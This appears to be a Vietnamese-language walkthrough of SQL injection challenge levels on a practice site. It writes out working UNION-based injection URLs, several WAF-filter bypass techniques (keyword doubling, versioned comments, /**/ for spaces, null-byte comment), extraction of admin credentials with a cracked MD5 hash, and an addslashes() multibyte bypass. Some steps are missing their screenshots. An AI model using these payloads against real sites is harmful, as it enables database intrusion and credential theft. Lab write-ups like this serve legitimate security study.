Professional Documents
Culture Documents
Vậy số cột là 5.
- Tiếp theo, chúng ta tìm vulnerable column bằng cách gửi truy vấn sau:
Union select đã bị filter. Vì vậy, chúng ta cần tìm cách bypass nó bằng các cách
sau:
+ Thử viết hoa các chữ cái trong “union select”:
+ Trong các table tìm được ở trên, chúng ta cần lấy thông tin về tên column của table
users bằng truy vấn sau:
http://root0x00.altervista.org/sqli/level.php?id=11' /*!50000unUniONion
seSeLeCtlect*/ 1,2,3,4,group_concat(column_name) from
information_schema.columns where table_name='users'-- -
Các cột có trong table users là: id, username, password, email, level.
- Ở yêu cầu này, chúng ta cần login vào tài khoản của admin để xem private data. Để
login vào tài khoản của admin, chúng ta cần biết 2 trường là username và password.
Tiến hành lấy thông tin hai cột username và password trong table users với truy
vấn sau:
http://root0x00.altervista.org/sqli/level.php?id=11' /*!50000unUniONion
seSeLeCtlect*/ 1,2,3,4,group_concat('',username,password,'','') from users-- -
Truy vấn không thành công. Nhìn vào lỗi được hiển thị, chúng ta có thể đoán rằng
space đã bị filter.
Để bypass, chúng ta tiến hành thay thế space bằng /**/ như sau:
Truy vấn vẫn không thành công. Ở lỗi này, chúng ta có thể đoán là do comment --
- cũng bị filter. Vì vậy, ta thay comment -- - bằng null byte ;%00
Lúc này chỉ còn lỗi là do số cột không chính xác. Chúng ta tiếp tục thử đoán số
cột.
+ Thử đoán số cột bằng 5:
- Tiếp theo, chúng ta tìm vulnerable column bằng cách gửi truy vấn sau:
http://root0x00.altervista.org/sqli/level2.php?
id=1'/**/union/**/select/**/1,2,3,4,5;%00
Union select đã bị filter. Vì vậy, chúng ta cần tìm cách bypass nó bằng các cách
sau:
+ WAF Bypassing Strings:
http://root0x00.altervista.org/sqli/level2.php?id=1'/**//*!
50000union/**/select*//**/1,2,3,4,5;%00
Các cột có trong table users là: id, username, password, email, level.
- Ở yêu cầu này, chúng ta cần login vào tài khoản của admin để xem private data. Để
login vào tài khoản của admin, chúng ta cần biết 2 trường là username và password.
Tiến hành lấy thông tin hai cột username và password trong table users với truy
vấn sau:
http://root0x00.altervista.org/sqli/level2.php?id=11'/**//*!
50000ununionion/**/seselectlect*//**/1,2,3,4,group_concat('',username,passwor
d,'','')/**/from/**/users;%00
Thông tin tài khoản của admin:
+ username: admin
+ password: 99feaba9c9dfac6c6ba036dee6d02dc1 (đã được hash bằng thuật
toán MD5). Sau khi decrypt, thu được password là leet1337
- Cuối cùng, tiến hành đăng nhập vào tài khoản admin bằng thông tin đã thu thập được
ở trên.
Ở challenge này yêu cầu chúng ta phải sử dụng password của admin để đăng
nhập. Vì vậy, chúng ta sử dụng chức năng kiểm tra phần tử HTML (F12) để xem
thẻ input đại diện cho password có value (password của admin) là gì.
Password của tài khoản admin mà chúng ta đang tìm là: t0_W34k!$
- Như vậy khi chèn %ef%27 thì hàm addslashes() sẽ tự động chuyển thành %ef%5c
%27, tương đương với 颸’
- Vậy thực hiện query như sau:
login=%ef%27 or 1=1-- -&password=vvv
Thu được kết quả là flag sau: